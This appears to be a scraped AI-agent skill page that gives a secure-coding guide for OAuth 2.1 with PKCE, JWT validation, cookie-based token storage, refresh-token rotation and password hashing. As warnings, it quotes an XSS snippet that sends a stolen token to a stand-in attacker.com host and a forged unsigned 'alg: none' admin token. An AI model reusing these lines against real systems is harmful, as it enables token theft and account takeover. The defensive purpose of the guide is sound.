Loading...
Loading...
OAuth 2.1, JWT (RFC 8725), encryption, and authentication security expert. Enforces 2026 security standards.
npx skill4agent add oimiragieo/agent-studio auth-security-expert// Correct PKCE implementation
async function generatePKCE() {
const array = new Uint8Array(32); // 256 bits
crypto.getRandomValues(array); // Cryptographically secure random
const verifier = base64UrlEncode(array);
const encoder = new TextEncoder();
const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
const challenge = base64UrlEncode(new Uint8Array(hash));
return { verifier, challenge };
}
// Helper: Base64 URL encoding
function base64UrlEncode(buffer) {
return btoa(String.fromCharCode(...new Uint8Array(buffer)))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '');
}response_type=tokenresponse_type=id_token tokengrant_type=passwordGET /api/resource?access_token=xyzAuthorization: Bearer <token>https://*.example.com// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
// EXACT match required - no wildcards, no normalization
return registeredUris.includes(requestedUri);
}code_challengecode_verifier// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
const { code_challenge, code_challenge_method } = req.query;
// OAuth 2.1: PKCE is MANDATORY
if (!code_challenge || !code_challenge_method) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge required (OAuth 2.1)',
});
}
if (code_challenge_method !== 'S256') {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge_method must be S256',
});
}
// Continue authorization flow...
});
// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
const { code, code_verifier } = req.body;
const authCode = await db.authorizationCodes.findOne({ code });
if (!authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'Authorization code was not issued with PKCE',
});
}
// Verify code_verifier matches code_challenge
const hash = crypto.createHash('sha256').update(code_verifier).digest();
const challenge = base64UrlEncode(hash);
if (challenge !== authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'code_verifier does not match code_challenge',
});
}
// Issue tokens...
});// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection
// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');
// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
throw new Error('State mismatch - possible CSRF attack');
}
// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI, // MUST match authorization request
client_id: CLIENT_ID,
code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
}),
});
const tokens = await response.json();
// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');
// Server should set tokens as HttpOnly cookies (see Token Storage section)const jwt = require('jsonwebtoken');
const fs = require('fs');
// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
issuer: 'https://auth.example.com',
audience: 'api.example.com',
keyid: 'key-2024-01', // Key rotation tracking
});
// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Whitelist ONLY expected algorithm
issuer: 'https://auth.example.com',
audience: 'api.example.com',
});// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
namedCurve: 'prime256v1', // P-256 curve
});
const token = jwt.sign(payload, privateKey, {
algorithm: 'ES256',
expiresIn: '15m',
});// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
algorithm: 'HS256',
expiresIn: '15m',
});
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'], // STILL whitelist algorithm
});// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});
// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist only
});async function validateAccessToken(token) {
try {
// 1. Parse without verification first (to check 'alg')
const unverified = jwt.decode(token, { complete: true });
// 2. Reject 'none' algorithm
if (!unverified || unverified.header.alg === 'none') {
throw new Error('Unsigned JWT not allowed');
}
// 3. Verify signature with public key
const publicKey = await getPublicKey(unverified.header.kid); // Key ID
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
issuer: 'https://auth.example.com', // Expected issuer
audience: 'api.example.com', // This API's identifier
clockTolerance: 30, // Allow 30s clock skew
complete: false, // Return payload only
});
// 4. Validate required claims
if (!decoded.sub) throw new Error('Missing subject (sub) claim');
if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');
// 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
const now = Math.floor(Date.now() / 1000);
if (decoded.exp <= now) throw new Error('Token expired');
if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');
// 6. Check token revocation (if implementing revocation list)
if (await isTokenRevoked(decoded.jti)) {
throw new Error('Token has been revoked');
}
// 7. Validate custom claims
if (decoded.scope && !decoded.scope.includes('read:resource')) {
throw new Error('Insufficient permissions');
}
return decoded;
} catch (error) {
// NEVER use the token if ANY validation fails
console.error('JWT validation failed:', error.message);
throw new Error('Invalid token');
}
}isssubaudexpiatnbfjticonst payload = {
// Standard claims
iss: 'https://auth.example.com',
sub: 'user_12345',
aud: 'api.example.com',
exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID(),
// Custom claims
scope: 'read:profile write:profile admin:users',
role: 'admin',
tenant_id: 'tenant_789',
email: 'user@example.com', // OK for access token, not sensitive
// NEVER include: password, SSN, credit card, etc.
};// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);
// Access token cookie
res.cookie('access_token', access_token, {
httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection (blocks cross-site requests)
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
domain: '.example.com', // Allow subdomains
});
// Refresh token cookie (more restricted)
res.cookie('refresh_token', refresh_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // ONLY accessible by refresh endpoint
domain: '.example.com',
});
res.json({ success: true });
});
// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
credentials: 'include', // Include cookies in request
});// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
// const token = localStorage.getItem('access_token');
// fetch('https://attacker.com/steal?token=' + token);
// </script>httpOnly: trueapp.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
try {
// 1. Validate refresh token (check signature, expiry)
const decoded = jwt.verify(oldRefreshToken, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.example.com',
});
// 2. Look up token in database (we store hashed refresh tokens)
const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
const tokenRecord = await db.refreshTokens.findOne({
tokenHash,
userId: decoded.sub,
});
if (!tokenRecord) {
throw new Error('Refresh token not found');
}
// 3. CRITICAL: Detect token reuse (possible theft)
if (tokenRecord.isUsed) {
// Token was already used - this is a REUSE ATTACK
await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
userId: decoded.sub,
tokenId: decoded.jti,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
// Send alert to user's email
await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');
return res.status(401).json({
error: 'token_reuse',
error_description: 'Refresh token reuse detected - all sessions revoked',
});
}
// 4. Mark old token as used (ATOMIC operation before issuing new tokens)
await db.refreshTokens.updateOne(
{ tokenHash },
{
$set: { isUsed: true, lastUsedAt: new Date() },
}
);
// 5. Generate new tokens
const newAccessToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 15 * 60,
},
privateKey,
{ algorithm: 'RS256' }
);
const newRefreshToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
jti: crypto.randomUUID(),
},
privateKey,
{ algorithm: 'RS256' }
);
// 6. Store new refresh token (hashed)
const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
await db.refreshTokens.create({
userId: decoded.sub,
tokenHash: newTokenHash,
isUsed: false,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdAt: new Date(),
userAgent: req.headers['user-agent'],
ipAddress: req.ip,
});
// 7. Set new tokens as cookies
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ success: true });
} catch (error) {
// Clear invalid cookies
res.clearCookie('refresh_token');
res.status(401).json({ error: 'invalid_token' });
}
});{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
isUsed: false, // Set to true when token is used for refresh
expiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // Updated when isUsed set to true
userAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // Matches JWT 'jti' claim
}// Argon2id example (Node.js)
import argon2 from 'argon2';
// Hash password
const hash = await argon2.hash(password, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2,
parallelism: 1,
});
// Verify password
const isValid = await argon2.verify(hash, password);// bcrypt example
import bcrypt from 'bcryptjs';
const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);@simplewebauthn/serverSet-Cookie: session=...; Secure; HttpOnly; SameSite=StrictStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Content-Type-Options: nosniffX-Frame-Options: DENYSAMEORIGINContent-Security-Policy: default-src 'self'X-XSS-Protection: 1; mode=blockeval()innerHTMLsecurity-architectcat .claude/context/memory/learnings.mdASSUME INTERRUPTION: Your context may reset. If it's not in memory, it didn't happen.